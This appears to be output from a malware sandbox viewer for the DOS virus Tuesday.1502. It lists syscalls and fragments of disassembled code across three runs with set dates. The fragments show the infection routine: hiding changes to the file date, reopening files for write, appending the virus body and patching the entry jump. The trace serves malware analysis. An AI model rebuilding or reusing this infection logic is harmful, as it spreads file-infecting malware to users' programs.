Sample viewer

vx.netlux.org/Virus.DOS.Tuesday.1502

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GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-17T22:52:34.63321956Z 26 PC: 13245 | Set disk transfer address
2018-12-17T22:52:34.63566825Z 42 PC: 1324c | Get date 0x1324c: cmp al, 2
0x1324e: jne 0x13253
0x13250: call 0x13357
0x13253: jmp 0x13256
0x13255: nop
0x13256: mov word ptr [si + 0x4b], 0x7feb
0x1325b: push si
0x1325c: mov di, 0xfc00
0x1325f: xor si, si
0x13261: mov cx, 0x100
0x13264: rep movsb byte ptr es:[di], byte ptr [si]
0x13266: pop si
0x13267: mov word ptr [si + 0x4b], 0xbf56
0x1326c: push si
0x1326d: mov di, 0x100
0x13270: add si, 0x1d8
0x13274: mov cx, 4
0x13277: rep movsb byte ptr es:[di], byte ptr [si]
0x13279: pop si
0x1327a: mov ah, 0x4e
2018-12-17T22:52:34.638123141Z 42 PC: 132e2 | Get date 0x132e2: cmp byte ptr [si + 0x1db], 0x5e
0x132e7: je 0x1333b
0x132e9: mov ax, 0x5700
0x132ec: int 0x21
0x132ee: push cx
0x132ef: push dx
0x132f0: push es
0x132f1: push bx
0x132f2: mov ax, 0x1220
0x132f5: int 0x2f
0x132f7: mov bl, byte ptr es:[di]
0x132fa: mov ax, 0x1216
0x132fd: int 0x2f
0x132ff: mov byte ptr es:[di + 2], 2
0x13304: pop bx
0x13305: pop es
0x13306: mov ax, 0x4202
0x13309: xor cx, cx
0x1330b: xor dx, dx
0x1330d: int 0x21
2018-12-17T22:52:34.640418903Z 87 PC: 132ee | Get or set file date and time
2018-12-17T22:52:34.642649113Z 66 PC: 1330f | Move file pointer
2018-12-17T22:52:34.645976102Z 64 PC: 13320 | Write file or device (Write 1535 bytes on handle 0)
2018-12-17T22:52:34.652692419Z 66 PC: 13329 | Move file pointer
2018-12-17T22:52:34.654530742Z 64 PC: 13334 | Write file or device (Write 4 bytes on handle 0)
2018-12-17T22:52:34.658695135Z 87 PC: 1333b | Get or set file date and time
2018-12-17T22:52:34.660297435Z 62 PC: 1333f | Close file
2018-12-17T22:52:34.662171215Z 79 PC: 13343 | Find next file

{"DateBased":true,"Day":1,"Month":1,"Year":1980,"Hour":0,"Min":0,"Second":0,"TimeBased":false,"OriginalID":10928,"SideJobID":0}

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GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T12:29:35.697813506Z 26 PC: 13245 | Set disk transfer address
2018-12-25T12:29:35.699606178Z 42 PC: 1324c | Get date 0x1324c: cmp al, 2
0x1324e: jne 0x13253
0x13250: call 0x13357
0x13253: jmp 0x13256
0x13255: nop
0x13256: mov word ptr [si + 0x4b], 0x7feb
0x1325b: push si
0x1325c: mov di, 0xfc00
0x1325f: xor si, si
0x13261: mov cx, 0x100
0x13264: rep movsb byte ptr es:[di], byte ptr [si]
0x13266: pop si
0x13267: mov word ptr [si + 0x4b], 0xbf56
0x1326c: push si
0x1326d: mov di, 0x100
0x13270: add si, 0x1d8
0x13274: mov cx, 4
0x13277: rep movsb byte ptr es:[di], byte ptr [si]
0x13279: pop si
0x1327a: mov ah, 0x4e
2018-12-25T12:29:50.675225484Z 0 PC: 132e2 | Program terminate
2018-12-25T12:29:50.678289772Z 77 PC: 11fe0 | Get program return code

{"DateBased":true,"Day":2,"Month":1,"Year":1980,"Hour":0,"Min":0,"Second":0,"TimeBased":false,"OriginalID":10928,"SideJobID":0}

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GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T12:29:35.719045354Z 26 PC: 13245 | Set disk transfer address
2018-12-25T12:29:35.720320348Z 42 PC: 1324c | Get date 0x1324c: cmp al, 2
0x1324e: jne 0x13253
0x13250: call 0x13357
0x13253: jmp 0x13256
0x13255: nop
0x13256: mov word ptr [si + 0x4b], 0x7feb
0x1325b: push si
0x1325c: mov di, 0xfc00
0x1325f: xor si, si
0x13261: mov cx, 0x100
0x13264: rep movsb byte ptr es:[di], byte ptr [si]
0x13266: pop si
0x13267: mov word ptr [si + 0x4b], 0xbf56
0x1326c: push si
0x1326d: mov di, 0x100
0x13270: add si, 0x1d8
0x13274: mov cx, 4
0x13277: rep movsb byte ptr es:[di], byte ptr [si]
0x13279: pop si
0x1327a: mov ah, 0x4e
2018-12-25T12:29:35.72375366Z 42 PC: 132e2 | Get date 0x132e2: cmp byte ptr [si + 0x1db], 0x5e
0x132e7: je 0x1333b
0x132e9: mov ax, 0x5700
0x132ec: int 0x21
0x132ee: push cx
0x132ef: push dx
0x132f0: push es
0x132f1: push bx
0x132f2: mov ax, 0x1220
0x132f5: int 0x2f
0x132f7: mov bl, byte ptr es:[di]
0x132fa: mov ax, 0x1216
0x132fd: int 0x2f
0x132ff: mov byte ptr es:[di + 2], 2
0x13304: pop bx
0x13305: pop es
0x13306: mov ax, 0x4202
0x13309: xor cx, cx
0x1330b: xor dx, dx
0x1330d: int 0x21
2018-12-25T12:29:35.726215153Z 87 PC: 132ee | Get or set file date and time
2018-12-25T12:29:35.728255491Z 66 PC: 1330f | Move file pointer
2018-12-25T12:29:35.731298961Z 64 PC: 13320 | Write file or device (Write 1503 bytes on handle 0)
2018-12-25T12:29:35.738585224Z 66 PC: 13329 | Move file pointer
2018-12-25T12:29:35.740505885Z 64 PC: 13334 | Write file or device (Write 4 bytes on handle 0)
2018-12-25T12:29:35.744437382Z 87 PC: 1333b | Get or set file date and time
2018-12-25T12:29:35.746132519Z 62 PC: 1333f | Close file
2018-12-25T12:29:35.748111687Z 79 PC: 13343 | Find next file